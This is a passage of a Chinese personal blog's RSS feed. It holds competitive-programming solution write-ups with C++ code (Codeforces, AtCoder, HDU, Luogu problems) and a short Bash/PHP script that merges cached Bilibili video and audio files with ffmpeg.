&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;D Count the Arrays&lt;/h2&gt;
&lt;h3&gt;1 题目大意&lt;/h3&gt;
&lt;p&gt;你需要寻找这样的数列个数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;有 $n$ 个元素&lt;/li&gt;
&lt;li&gt;每个数字都是 $1$ 到 $m$ 之间的整数&lt;/li&gt;
&lt;li&gt;只有恰好一对数字相等&lt;/li&gt;
&lt;li&gt;数列先严格递增，再严格递减&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;个数对 $998244353$ 取模后输出&lt;/p&gt;
&lt;p&gt;$2 \leq n \leq m \leq 2 \times 10^5$&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;式子题，看 Code 去&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/09 23:21:18
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

const int N = 2e5 + 1e4;
const int mod = 998244353;

inline int add( int a, int b ) { return ( a + b ) % mod; }
inline int mul( int a, int b ) { return ( 1LL * a * b ) % mod; }
inline void add_eq( int &amp;amp;a, int b ) { a = ( a + b ) % mod; }
inline void mul_eq( int &amp;amp;a, int b ) { a = ( 1LL * a * b ) % mod; }

int ksm( int a, int p ) {
    int res = 1;
    while(p) {
        if( p &amp;amp; 1 )
            res = mul( res, a );
        a = mul( a, a );
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}

inline int get_inv( int a ) { return ksm( a, mod - 2 ); }

int n, m, sum, ans;
int fact[N], inv[N];

void init() {
    fact[1] = 1;
    for( int i = 2; i &amp;lt;= m; i ++ ) {
        fact[i] = mul( fact[ i - 1 ], i );
    }
    inv[m] = get_inv( fact[m] );
    for( int i = m - 1; i &amp;gt;= 1; i -- ) {
        inv[i] = mul( inv[ i + 1 ], i + 1 );
    }
    inv[0] = 1;
    fact[0] = 1;
}

// Get C^a_b
inline int C( int a, int b ) {
    if( a &amp;lt;= 0 )
        return 1;
    if( b &amp;lt;= 0 )
        return 1;
    return mul( mul( fact[b], inv[ b - a ] ), inv[a] );
}

int main() {
#ifdef woshiluo
    freopen( &quot;d.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;d.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    init();

    for( int i = n - 1; i &amp;lt;= m; i ++ ) {
        add_eq( sum, mul( C( n - 3, i - 2 ), mul( m - i + 1, n - 2 ) ) );
    }

    for( int i = 2; i &amp;lt; n; i ++ ) {
        add_eq( ans, mul( sum, C( i - 2, n - 3 ) ) );
    }

    printf( &quot;%d\n&quot;, ans );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;E Array Shrinking&lt;/h2&gt;
&lt;h3&gt;1 题目大意&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这好像是个原题&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;给你一个长度为 $n$ 的数列 $a$&lt;/p&gt;
&lt;p&gt;如果 $a_i = a_{i + 1}$, 那么这两个数可以合并成 $a_i + 1$&lt;/p&gt;
&lt;p&gt;问最小数列长度&lt;/p&gt;
&lt;p&gt;$1 \leq a_i \leq 1000, 1 \leq n \leq 500$&lt;/p&gt;
&lt;h3&gt;2 思路&lt;/h3&gt;
&lt;p&gt;区间 dp&lt;/p&gt;
&lt;p&gt;设 $f_{i,j}$ 为 $i$ 到 $j$ 最小长度&lt;/p&gt;
&lt;p&gt;$merged_{i,j}$ 为 $i$ 到 $j$ 合并出来的数字&lt;/p&gt;
&lt;p&gt;然后就是标准板子了&lt;/p&gt;
&lt;h3&gt;3 Code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// Woshiluo Luo&amp;lt;woshiluo@woshiluo.site&amp;gt;
// 2020/03/10 15:50:48
#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

const int N = 510;

template&amp;lt;class T&amp;gt;
T Min( T _a, T _b ) { return _a &amp;lt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T Max( T _a, T _b ) { return _a &amp;gt; _b? _a: _b; }
template&amp;lt;class T&amp;gt;
T chk_Min( T &amp;amp;_a, T _b ) { return _a = (_a &amp;lt; _b? _a: _b); }
template&amp;lt;class T&amp;gt;
T chk_Max( T &amp;amp;_a, T _b ) { return _a = (_a &amp;gt; _b? _a: _b); }

int n;
int a[N];
int f[N][N], merged[N][N];

int main() {
#ifdef woshiluo
    freopen( &quot;e.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;e.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;a[i] );
        f[i][i] = 1;
        merged[i][i] = a[i];
    }
    for( int len = 2; len &amp;lt;= n; len ++ ) {
        for( int left = 1, rig = len; rig &amp;lt;= n; left ++, rig ++ ) {
            f[left][rig] = rig - left + 1;
            for( int mid = left; mid &amp;lt; rig; mid ++ ) {
                int &amp;amp;f_left = f[left][mid], &amp;amp;f_rig = f[ mid + 1 ][rig],
                &amp;amp;merge_left = merged[left][mid], &amp;amp;merge_rig = merged[ mid + 1 ][rig];
                chk_Min( f[left][rig], f_left + f_rig );
                if( f_left == 1 &amp;amp;&amp;amp; f_rig == 1 &amp;amp;&amp;amp; merge_left == merge_rig ) {
                    f[left][rig] = 1;
                    merged[left][rig] = merge_left + 1;
                }
            }
        }
    }
    printf( &quot;%d\n&quot;, f[1][n] );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>AGC 034 F RNG and XOR</title><link>https://blog.woshiluo.com/posts/2020/02/agc-034-f-rng-and-xor/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/02/agc-034-f-rng-and-xor/</guid><pubDate>Sat, 29 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目连接: &lt;a href=&quot;https://atcoder.jp/contests/agc034/tasks/agc034_f&quot;&gt;https://atcoder.jp/contests/agc034/tasks/agc034_f&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;道理我都懂，可是不看题解不到啊……&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;$$\newcommand \xor{\mathbin{\mathbf{xor}}}$$&lt;/p&gt;
&lt;h2&gt;1 题意&lt;/h2&gt;
&lt;p&gt;给定一个数字 $n$&lt;/p&gt;
&lt;p&gt;对于 $0 \cdots 2^n - 1$ 中每个数字都有一个 $a_i$&lt;/p&gt;
&lt;p&gt;现在有一个数 $X$, 一开始为 $0$&lt;/p&gt;
&lt;p&gt;每一次操作会随机选择一个数字 $i$ （其中 $0 \leq i \leq 2^n - 1$，选中 $i$ 的概率为 $\frac{a_i}{\sum a}$）&lt;/p&gt;
&lt;p&gt;然后令 $X = X \oplus i$&lt;/p&gt;
&lt;p&gt;问使 $X=i$ 的期望次数&lt;/p&gt;
&lt;h2&gt;2 思路&lt;/h2&gt;
&lt;p&gt;先令
$$p_i=\frac{a_i}{\sum a}$$&lt;/p&gt;
&lt;p&gt;令 $f_i$ 表示从 $i$ 到 $0$ 的期望次数，这和从 $0$ 到 $i$ 显然是一样的&lt;/p&gt;
&lt;p&gt;接着有一个非常显然的式子&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
f_i &amp;amp;= f_{i \xor j} \times p_j + 1 ( i \neq 0 )\
f_i - 1 &amp;amp;= f_{i \xor j } \times p_j ( i \neq 0 )
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;然后我们就可以得到这个式子&lt;/p&gt;
&lt;p&gt;$$
(f_0, f_1, f_2, \cdots, f_{2^{n-1}}, f_{2^n-1}) \oplus (p_0, p_1, p_2, \dots, p_{2^{n-1}}, p_{2^n}) \
= ( x, f_1 - 1, f_2 - 1, \cdots, f_{2^{n-1}} - 1, f_{2^n-1} - 1 )
$$&lt;/p&gt;
&lt;p&gt;但是 $x$ 是未知的&lt;/p&gt;
&lt;p&gt;注意到 $\sum p = 1$ 所以左边右边的和是相等的&lt;/p&gt;
&lt;p&gt;所以&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
x &amp;amp;= \sum_{i=0}^{2^n-1} f_i - \sum_{i=1}^{2^n-1} f_i - 1 \
&amp;amp;= f_0 + 2^n - 1
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;$$
(f_0, f_1, f_2, \cdots, f_{2^{n-1}}, f_{2^n-1}) \oplus (p_0, p_1, p_2, \dots, p_{2^{n-1}}, p_{2^n}) \
= ( f_0 + 2^n - 1, f_1 - 1, f_2 - 1, \cdots, f_{2^{n-1}} - 1, f_{2^n-1} -1 )
$$&lt;/p&gt;
&lt;p&gt;我们需要的使其中两个式子没有未知数&lt;/p&gt;
&lt;p&gt;注意到如果使 $p_0 = p_0 - 1$&lt;/p&gt;
&lt;p&gt;那么右边每一个数都会减去 $f_i$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$
(f_0, f_1, f_2, \cdots, f_{2^{n-1}}, f_{2^n-1}) \oplus (p_0 - 1, p_1, p_2, \dots, p_{2^{n-1}}, p_{2^n}) \ = ( 2^n - 1, - 1, - 1, \cdots, -1, -1 )
$$&lt;/p&gt;
&lt;p&gt;于是就可以放进 FWT 里直接做&lt;/p&gt;
&lt;p&gt;然后你就发现这东西跑出来是错的……&lt;/p&gt;
&lt;p&gt;为什么呢&lt;/p&gt;
&lt;p&gt;令&lt;/p&gt;
&lt;p&gt;$$
\begin{aligned}
\mathbf{P} &amp;amp; = (p_0 - 1, p_1, p_2, \dots, p_{2^{n-1}}, p_{2^n}) \
\mathbf{A} &amp;amp; = ( 2^n - 1, - 1, - 1, \cdots, -1, -1 )
\end{aligned}
$$&lt;/p&gt;
&lt;p&gt;因为 $\mathbf{P}$ 和 $\mathbf{A}$ FWT 后第一位都是 $0$&lt;/p&gt;
&lt;p&gt;没有办法倒推出来 $f_0$&lt;/p&gt;
&lt;p&gt;但是可以发现 $f$ 的值是可以平移的&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$ f_i + k = \sum_{i=0}^{2^n-1} p_j(f_{i \oplus j} + k) + 1 = \sum_{i=0}^{2^n-1} f_{i \oplus j} \times p_j + k + 1 $$&lt;/p&gt;
&lt;p&gt;那么我们又知道 $f_i = 0$&lt;/p&gt;
&lt;p&gt;所以将 $f$ 每一位都减去 $f_0$ 即可&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

const int N = 1 &amp;lt;&amp;lt; 20;
const int mod = 998244353;

int n;
int a[N], b[N], p[N], sum;

inline i
nt add( int a, int b ) { return ( a + b ) % mod; }
inline int mul( int a, int b ) { return ( 1LL * a * b ) % mod; }
inline void add_eq( int &amp;amp;a, int b ) { a = ( a + b ) % mod; }
inline void mul_eq( int &amp;amp;a, int b ) { a = ( 1LL * a * b ) % mod; }

int ksm( int a, int p ) {
    int res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = mul( res, a );
        a = mul( a, a );
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}
inline int inv( int a ) { return ksm( a, mod - 2 ); }

void XOR( int *f, int len, int x = 1 ) {
    for( int o = 2, k = 1; o &amp;lt;= len; o &amp;lt;&amp;lt;= 1, k &amp;lt;&amp;lt;= 1 ) {
        for( int i = 0; i &amp;lt; len; i += o ) {
            for( int j = 0; j &amp;lt; k; j ++ ) {
                add_eq( f[ i + j ], f[ i + j + k ] );
                f[ i + j + k ] = add( f[ i + j ], add( - f[ i + j + k ], - f[ i + j + k ] ) );
                mul_eq( f[ i + j ], x ); mul_eq( f[ i + j + k ], x );
            }
        }
    }
}

int main() {
#ifdef woshiluo
    freopen( &quot;F.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;F.out&quot;, &quot;w&quot;, stdout );
#endif
    scanf( &quot;%d&quot;, &amp;amp;n );
    n = 1 &amp;lt;&amp;lt; n;
    for( int i = 0; i &amp;lt; n; i ++ ) {
        scanf( &quot;%d&quot;, &amp;amp;a[i] );
        sum += a[i];
        b[i] = mod - 1;
    }
    sum = inv(sum);
    for( int i = 0; i &amp;lt; n; i ++ ) {
        p[i] = mul( a[i], sum );
    }

    b[0] = n - 1; p[0] -= 1;
    XOR( b, n ); XOR( p, n );
    for( int i = 0; i &amp;lt; n; i ++ ){
        mul_eq( b[i], inv( p[i] ) );
    }
    XOR( b, n, inv(2) );
    for( int i = 0; i &amp;lt; n; i ++ ) {
        printf( &quot;%d\n&quot;, ( ( add( b[i], -b[0] ) + mod ) % mod ) );
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>将 Bilibili 缓存转换成视频</title><link>https://blog.woshiluo.com/posts/2020/02/%E5%B0%86-bilibili-%E7%BC%93%E5%AD%98%E8%BD%AC%E6%8D%A2%E6%88%90%E8%A7%86%E9%A2%91/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/02/%E5%B0%86-bilibili-%E7%BC%93%E5%AD%98%E8%BD%AC%E6%8D%A2%E6%88%90%E8%A7%86%E9%A2%91/</guid><pubDate>Thu, 27 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 环境 &amp;amp; 提示&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;电脑
&lt;ul&gt;
&lt;li&gt;PHP&lt;/li&gt;
&lt;li&gt;Bash&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;手机
&lt;ul&gt;
&lt;li&gt;Bilibili 国内版 5.54.0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这样子转换出来还是有水印的，请不要在未经 UP 主同意的情况下传播或用在非法行为&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1 过程&lt;/h2&gt;
&lt;p&gt;因为要备份手机，就想着能不能把 Bilbili 的缓存转换成普通视频留在电脑上&lt;/p&gt;
&lt;p&gt;然后看了一下下载目录，里面有一个 &lt;code&gt;video.m4s&lt;/code&gt; 和 &lt;code&gt;audio.m4s&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;拿 &lt;code&gt;mpv&lt;/code&gt; 一打开，发现刚好一个是视频一个是音频...&lt;/p&gt;
&lt;p&gt;剩下的事情就是拿 &lt;code&gt;ffmpeg&lt;/code&gt; 合并一下的事情...&lt;/p&gt;
&lt;p&gt;随便胡个脚本就行了&lt;/p&gt;
&lt;h2&gt;2 脚本&lt;/h2&gt;
&lt;h5&gt;&lt;code&gt;covert.sh&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;# Author: Woshiluo&amp;lt;woshiluo@woshiluo.site&amp;gt;
#!/bin/bash

work_dir=`pwd`;
fa_php=`pwd`&quot;/fa.php&quot;;
part_php=`pwd`&quot;/part.php&quot;;

echo $part_php;
mkdir -p &quot;$work_dir/output&quot;

function covert() {
	cp &quot;$fa_php&quot; ./
	cp &quot;$part_php&quot; ./
	fa=`php fa.php`
	part=`php part.php`
	echo &quot;[INFO] Coverting $fa $part...&quot;
	rm fa.php part.php
	mkdir -p &quot;$work_dir/output/$fa&quot;
	for file in `ls`; do
		if [ -d $file ]; then
			cd $file
			ffmpeg -i video.m4s -i audio.m4s -c copy &quot;$work_dir/output/$fa/$part.mkv&quot; -y &amp;gt;/dev/null 2&amp;gt;&amp;amp;1
			cd ..
		fi
	done
	echo &quot;[INFO] Done!&quot;
}

for file in `ls`; do
	if [ -d $file ] &amp;amp;&amp;amp; [ $file != &quot;output&quot; ]; then
		cd ./$file
		for video in `ls`; do
			if [ -d $video ]; then
				cd ./$video
				covert
				cd ..
			fi
		done
		cd ..
	fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;code&gt;fa.php&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$_file = file_get_contents( &quot;./entry.json&quot; );

$desc = json_decode( $_file );

echo $desc -&amp;gt; title;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;code&gt;part.php&lt;/code&gt;&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$_file = file_get_contents( &quot;./entry.json&quot; );

$desc = json_decode( $_file );

echo $desc -&amp;gt; page_data -&amp;gt; part;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便胡的脚本&lt;/p&gt;
&lt;p&gt;把这三个文件放到 Bilibili 的下载目录下，然后执行 &lt;code&gt;covert.sh&lt;/code&gt; 就行了&lt;/p&gt;
&lt;p&gt;执行过后转换过的文件会在 &lt;code&gt;output&lt;/code&gt; 目录下&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>Atcoder ARC 103 F Distance Sums</title><link>https://blog.woshiluo.com/posts/2020/02/atcoder-arc-103-f-distance-sums/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/02/atcoder-arc-103-f-distance-sums/</guid><pubDate>Sat, 22 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 写在之前&lt;/h2&gt;
&lt;p&gt;这几天写的题目并不算少&lt;/p&gt;
&lt;p&gt;然而这道题是唯一一个看过去傻了的题目...&lt;/p&gt;
&lt;p&gt;应该以前听过，题面看着眼熟&lt;/p&gt;
&lt;p&gt;可是死活不会做...&lt;/p&gt;
&lt;h2&gt;1 思路&lt;/h2&gt;
&lt;p&gt;基本上可以明确是到构造题&lt;/p&gt;
&lt;p&gt;这里依赖两个性质：&lt;/p&gt;
&lt;p&gt;树的中心的 $D$ 值是最小的&lt;/p&gt;
&lt;p&gt;$$ D(fa) = D(x) - n + 2 \times size[i] $$&lt;/p&gt;
&lt;p&gt;这个就是标准的树和树的重心的性质&lt;/p&gt;
&lt;p&gt;可以推出来如果以重心做根，那么 $D$ 越大越在下面&lt;/p&gt;
&lt;p&gt;所以尝试生成一颗以重心为根的树就行了&lt;/p&gt;
&lt;p&gt;然后我发现我不会判否&lt;/p&gt;
&lt;p&gt;结果发现最后生成出来树判断一次就行了...&lt;/p&gt;
&lt;h2&gt;2 实现&lt;/h2&gt;
&lt;p&gt;读入 $D$ 排序&lt;/p&gt;
&lt;p&gt;从大到小依此根据上面的式子找父亲&lt;/p&gt;
&lt;p&gt;最后判断一下是否正确就可以了&lt;/p&gt;
&lt;h2&gt;3 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// User: woshiluo
// Email: woshiluo@woshiluo.site
// Problem link: https://atcoder.jp/contests/arc103/tasks/arc103_d
// Comment:
// Why the problem id is &apos;F&apos;, but the link is &apos;arc103_d&apos;
// Interesting

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;map&amp;gt;
#include &amp;lt;algorithm&amp;gt;

const int N = 1e5 + 1e3;

int n;
int size[N], father[N];

struct node{
	int id;
	long long d;
} a[N];

std::map&amp;lt;long long, int&amp;gt; mp;

void wrong() {
	printf( &quot;-1\n&quot; );
	exit(0);
}
bool cmp( node _a, node _b ) { return _a.d &amp;lt; _b.d; }

int main() {
#ifdef woshiluo
	freopen( &quot;F.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;F.out&quot;, &quot;w&quot;, stdout );
#endif
	scanf( &quot;%d&quot;, &amp;amp;n );
	for( int i = 1; i &amp;lt;= n; i ++ ) {
		scanf( &quot;%lld&quot;, &amp;amp;a[i].d );
		a[i].id = i;
		size[i] = 1;
		mp[ a[i].d ] = i;
	}
	std::sort( a + 1, a + n + 1, cmp );
	int rt_d, rt;
	rt = a[1].id; rt_d = a[1].d;
	for( int i = n; i &amp;gt; 1; i -- ) {
		int fa = mp[ a[i].d + 2LL * size[ a[i].id ] - n ];
		if( fa == 0 ) {
			wrong();
			return 0;
		}
		size[fa] += size[ a[i].id ];
		father[ a[i].id ] = fa;
	}
	for( int i = 1; i &amp;lt;= n; i ++ ) {
		if( i == rt )
			continue;
		 rt_d -= size[i];
	}
	if( rt_d != 0 )
		wrong();

	for( int i = 1; i &amp;lt;= n; i ++ ) {
		if( i == rt )
			continue;
		printf( &quot;%d %d\n&quot;, father[i], i );
	}
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>HDU 4507 恨7不成妻</title><link>https://blog.woshiluo.com/posts/2020/02/hdu-4507-%E6%81%A87%E4%B8%8D%E6%88%90%E5%A6%BB/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/02/hdu-4507-%E6%81%A87%E4%B8%8D%E6%88%90%E5%A6%BB/</guid><pubDate>Sat, 08 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;裸的要死的数位 DP 题目&lt;/p&gt;
&lt;p&gt;一眼看过去，平方和，有点懵&lt;/p&gt;
&lt;p&gt;但是维护平方和也是老套路了&lt;/p&gt;
&lt;p&gt;维护 $sum$, $cnt$, $pow_sum$ 就可以了&lt;/p&gt;
&lt;h2&gt;代码&lt;/h2&gt;
&lt;p&gt;代码写的着急，会有一些不太好看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;

const int mod = 1e9 + 7;

inline int add( int a, int b ) { return ( a + b ) % mod; }
inline int mul( int a, int b ) { return ( 1LL * a * b ) % mod; }
inline int power( int a ) { return mul( a, a ); }

int T, max_len;
long long left, rig;
int _count[110][2][10][10][10], _sum[110][2][10][10][10], _pow[110][2][10][10][10];
int max_count[110][2][10][10][10], max_sum[110][2][10][10][10], max_pow[110][2][10][10][10];
bool _vis[110][2][10][10][10];
int a[110];

inline int length( int cur, int len ) {
	int res = cur;
	while( len &amp;gt; 0 ) {
		res = mul( 10, res );
		len --;
	}
	return res;
}

struct node {
	int len, cur, seven, rem, base_rem;
	bool max;
	int&amp;amp; count() {
		if( max )
			return max_count[len][seven][rem][cur][base_rem];
		return _count[len][seven][rem][cur][base_rem];
	}
	int&amp;amp; sum() {
		if( max )
			return max_sum[len][seven][rem][cur][base_rem];
		return _sum[len][seven][rem][cur][base_rem];
	}
	int&amp;amp; pow() {
		if( max )
			return max_pow[len][seven][rem][cur][base_rem];
		return _pow[len][seven][rem][cur][base_rem];
	}
	bool&amp;amp; vis() {
		return _vis[len][seven][rem][cur][base_rem];
	}
	void print() {
//		printf( &quot;%d %d %d %d %d %d\n&quot;, len, cur, seven, rem, base_rem, max );
//		printf( &quot;%d %d %d\n&quot;, count(), sum(), pow() );
	}
};

int dfs( node cur ) {
	if( ( ! cur.max ) &amp;amp;&amp;amp; cur.vis() )
		return cur.pow();
	if( cur.len == 0 ) {
		if( cur.seven || cur.rem == 0 || cur.base_rem == 0 ) {
			cur.count() = cur.sum() = cur.pow() = 0;
			return cur.pow();
		}
		cur.count() = 1; cur.sum() = cur.cur; cur.pow() = power( cur.cur );
		return cur.pow();
	}
	int &amp;amp;cur_count = cur.count();
	int &amp;amp;cur_sum = cur.sum();
	int &amp;amp;cur_pow = cur.pow();
	if( cur.max )
		cur_count = cur_sum = cur_pow = 0;
	for( int i = 0; i &amp;lt;= ( cur.max? a[cur.len]: 9 ); i ++ ) {
		node nxt = cur;
		nxt.len -= 1; nxt.seven = ( cur.seven || ( i == 7 ) ); nxt.cur = i; nxt.max = ( cur.max &amp;amp;&amp;amp; i == a[cur.len] );
		nxt.rem = ( cur.rem * 10 + i ) % 7; nxt.base_rem = ( cur.base_rem + i ) % 7;
		dfs( nxt );
		cur_count = add( cur_count, nxt.count() );
		cur_sum = add( cur_sum, add( mul( length( cur.cur, cur.len ), nxt.count() ), nxt.sum() ) );
		cur_pow = add( cur_pow, add( nxt.pow(), add( mul( nxt.count(), power( length( cur.cur, cur.len ) ) ),
						mul( mul( 2, length( cur.cur, cur.len ) ), nxt.sum() ) ) ) );
	}
	if( cur.max == false )
		cur.vis() = true;
	cur.print();
	return cur_pow;
}

int sum( long long _a ) {
	if( _a == 0 )
		return 0;
	if( _a &amp;lt; 0 )
		return 0;
	max_len = 0;
	while( _a ) {
		a[ ++ max_len ] = _a % 10;
		_a /= 10;
	}
//	printf( &quot;ans: %d\n&quot;, dfs( (node){ max_len, 0, 0, 0, 0, true } ) );
	return dfs( (node){ max_len, 0, 0, 0, 0, true } );
}

int main() {
#ifdef woshiluo
	freopen( &quot;hdu.4507.in&quot;, &quot;r&quot;, stdin );
	freopen( &quot;hdu.4507.out&quot;, &quot;w&quot;, stdout );
#endif
	scanf( &quot;%d&quot;, &amp;amp;T );
	while( T -- ) {
		scanf( &quot;%lld%lld&quot;, &amp;amp;left, &amp;amp;rig );
		if( left == 0 )
			printf( &quot;%d\n&quot;, ( sum(rig) + mod ) % mod );
		else
			printf( &quot;%d\n&quot;, ( add( sum(rig), - sum( left - 1 ) ) + mod ) % mod );
	}
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>Luogu P3177 [HAOI 2015] 树上染色</title><link>https://blog.woshiluo.com/posts/2020/02/luogu-p3177-haoi-2015-%E6%A0%91%E4%B8%8A%E6%9F%93%E8%89%B2/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2020/02/luogu-p3177-haoi-2015-%E6%A0%91%E4%B8%8A%E6%9F%93%E8%89%B2/</guid><pubDate>Thu, 06 Feb 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;题目链接: &lt;a href=&quot;https://www.luogu.com.cn/problem/P3177&quot;&gt;https://www.luogu.com.cn/problem/P3177&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;0 说在之前&lt;/h2&gt;
&lt;p&gt;树形 DP 要么模板题，要么神仙题&lt;/p&gt;
&lt;p&gt;这个题就属于不太正常的&lt;/p&gt;
&lt;h2&gt;1 思路&lt;/h2&gt;
&lt;p&gt;$f_{i,j}$&lt;/p&gt;
&lt;p&gt;其中 $i$ 代表当前节点&lt;/p&gt;
&lt;p&gt;$j$ 代表子树中选择 $j$ 个黑点，所能对答案产生的&lt;strong&gt;贡献&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有了这个思路，后面的东西就是标准的树上背包了&lt;/p&gt;
&lt;h2&gt;2 Code&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

inline int Min(int a, int b) { return a &amp;lt; b? a : b; }
inline long long Max(long long a, long long b) { return a &amp;gt; b? a : b; }

const int N = 2100;

int n, m;
int size[N];

// Edge Start
struct edge {
    int to, val, next;
} e[N &amp;lt;&amp;lt; 1];
int ehead[N], ecnt;

inline void add_edge(int now, int to, int val) {
    ecnt ++;
    e[ecnt].to = to;
    e[ecnt].val = val;
    e[ecnt].next = ehead[now];
    ehead[now] = ecnt;
}
// Edge End

// DP Start
long long f[N][N];
void dp(int now, int la) {
    size[now] = 1;
    f[now][0] = f[now][1] = 0;
    for(int i = ehead[now]; i; i = e[i].next) {
        if( e[i].to == la )
            continue;
        dp(e[i].to, now);
        size[now] += size[ e[i].to ];
        for(int j = Min(size[now], m); j &amp;gt;= 0; j--) {
            for(int k = 0; k &amp;lt;= Min(size[ e[i].to ], j); k++) {
                if( f[now][ j - k ] == -1 )
                    continue;
                long long val = 1LL * ( 1LL * k * ( m - k ) + 1LL * ( size[ e[i].to ] - k ) * ( n - m - size[ e[i].to ] + k ) ) * e[i].val;
                f[now][j] = Max( f[now][j], f[now][j - k] + f[ e[i].to ][k] + val);
            }
        }
    }
}
// DP End

int main() {
#ifdef woshiluo
    freopen(&quot;luogu.3177.in&quot;, &quot;r&quot;, stdin);
    freopen(&quot;luogu.3177.out&quot;, &quot;w&quot;, stdout);
#endif
    scanf(&quot;%d%d&quot;, &amp;amp;n, &amp;amp;m);
    for(int i = 1, u, v, w; i &amp;lt; n; i++) {
        scanf(&quot;%d%d%d&quot;, &amp;amp;u, &amp;amp;v, &amp;amp;w);
        add_edge(u, v, w);
        add_edge(v, u, w);
    }

    memset(f, -1, sizeof(f));
    dp(1, 0);

    printf(&quot;%lld&quot;, f[1][m]);
    fclose(stdin);
    fclose(stdout);
}
&lt;/code&gt;&lt;/pre&gt;
